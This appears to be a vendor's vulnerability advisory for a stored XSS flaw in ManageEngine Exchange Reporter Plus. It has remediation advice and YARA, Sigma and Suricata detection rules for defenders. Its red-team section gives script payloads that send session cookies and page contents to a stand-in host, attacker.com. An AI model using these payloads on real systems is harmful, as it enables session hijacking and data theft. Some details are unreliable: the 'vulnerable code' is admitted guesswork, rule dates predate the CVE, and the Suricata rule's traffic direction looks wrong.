CVE-2026-3880
Executive Summary
CVE-2026-3880 is a Stored Cross-Site Scripting (XSS) vulnerability in Zohocorp ManageEngine Exchange Reporter Plus, affecting versions prior to 5802. The flaw resides in the Public Folder Client Permissions report, allowing an authenticated attacker with low privileges to inject malicious scripts that are stored and executed in the context of other users' browsers. With a CVSS score of 7.3, this vulnerability poses a significant risk to confidentiality, integrity, and availability within the affected application. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. Immediate patching to version 5802 is recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.3 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: Low (PR:L) – Attacker needs valid credentials.
- User Interaction: Required (UI:R) – Victim must click or view the malicious content.
- Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited data modification.
- Availability Impact: Low (A:L) – Limited service disruption.
Threat Level: High. While no active exploitation is reported, the vulnerability is easy to exploit and can lead to session hijacking, data theft, or further compromise within the ManageEngine environment.
Deep Dive & Mechanics
The vulnerability is a Stored XSS in the Public Folder Client Permissions report. This report displays permissions for public folders in an Exchange environment. The application fails to properly sanitize user-supplied input when generating the report, allowing an attacker to inject malicious JavaScript code. When an administrator or other user views the report, the injected script executes in their browser, potentially leading to:
- Session Hijacking: Stealing session cookies to impersonate the victim.
- Data Exfiltration: Sending sensitive data from the report to an attacker-controlled server.
- Phishing: Displaying fake login forms to capture credentials.
- Further Exploitation: Using the victim's privileges to perform actions within the application.
The attack flow:
- Attacker logs in with low-privileged credentials.
- Attacker navigates to the Public Folder Client Permissions report.
- Attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a field that is not sanitized. - The payload is stored in the database.
- When an administrator views the report, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-5802): The vulnerable code likely does not sanitize or encode user input before rendering it in the report. For example, in a JSP or Java-based application:
out.println("<td>" + request.getParameter("folderName") + "</td>");
Patched Code (5802+): The patched version properly encodes output using context-aware escaping, such as:
out.println("<td>" + Encode.forHtml(request.getParameter("folderName")) + "</td>");
This ensures that any HTML or JavaScript in the input is rendered as text, not executed.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- ManageEngine Exchange Reporter Plus version < 5802.
- Valid low-privileged user credentials.
- Network access to the application.
Steps:
- Log in to the application.
- Navigate to the Public Folder Client Permissions report.
- Identify an input field (e.g., folder name, permission type) that is reflected in the report.
- Inject a payload such as:
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script> - Submit the form.
- Wait for an administrator to view the report, or send a crafted link to the victim.
- Capture the victim's session cookie on the attacker's server.
Example Payload:
<script>fetch('http://attacker.com/exfil?data='+btoa(document.body.innerHTML))</script>
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual input patterns in the Public Folder Client Permissions report fields.
- Look for outbound connections to unknown domains from the application server.
- Review web server logs for encoded or suspicious parameters.
Prevention:
- Apply the vendor patch immediately.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce strict Content Security Policy (CSP) headers.
- Conduct regular security training for users to avoid clicking suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from the ManageEngine server.
- Suspicious parameters in POST requests to
/ExchangeReporterPlus/endpoints containing<script>tags.
- File IOCs:
- Log entries in
access.logorerror.logcontaining XSS payloads.
- Log entries in
- Behavioral IOCs:
- Unusual session activity, such as multiple logins from different IPs.
- Unexpected changes to user permissions or configurations.
Detection Engineering
YARA Rule
rule CVE_2026_3880_Stored_XSS {
meta:
description = "Detects stored XSS payloads in ManageEngine Exchange Reporter Plus logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-3880"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2026-3880 Stored XSS in ManageEngine Exchange Reporter Plus
id: 5a8b3c2d-1e4f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in Public Folder Client Permissions report
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/ExchangeReporterPlus/'
cs-uri-query|contains|all:
- 'PublicFolder'
- 'Permissions'
sc-status: 200
cs-uri-query|re: '(<script|on\w+=|javascript:)'
condition: selection
falsepositives:
- Legitimate use of HTML in report names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-3880 Stored XSS Payload in ManageEngine"; flow:to_server,established; content:"POST"; http_method; content:"/ExchangeReporterPlus/"; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade ManageEngine Exchange Reporter Plus to version 5802 or later.
- Isolate: If patching is not possible, restrict access to the application to trusted IPs only.
- WAF: Deploy or update Web Application Firewall rules to block XSS payloads.
Long-Term Measures:
- Implement input validation and output encoding in all web applications.
- Conduct regular security audits and penetration testing.
- Enable logging and monitoring for suspicious activities.
- Train developers on secure coding practices (OWASP Top 10).
Workaround:
- Disable the Public Folder Client Permissions report if not needed.
- Use a reverse proxy to sanitize input before it reaches the application.
Valters IT
{/* [Security Hash: 28A39220B88A3C38B10ADB5C] */}